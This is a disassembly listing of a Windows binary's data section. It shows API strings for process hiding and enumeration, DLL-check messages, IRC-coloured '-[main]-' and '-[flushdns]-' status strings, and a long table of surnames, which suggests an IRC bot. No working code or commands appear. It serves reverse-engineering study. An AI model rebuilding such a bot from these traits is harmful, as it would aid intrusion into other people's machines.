aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
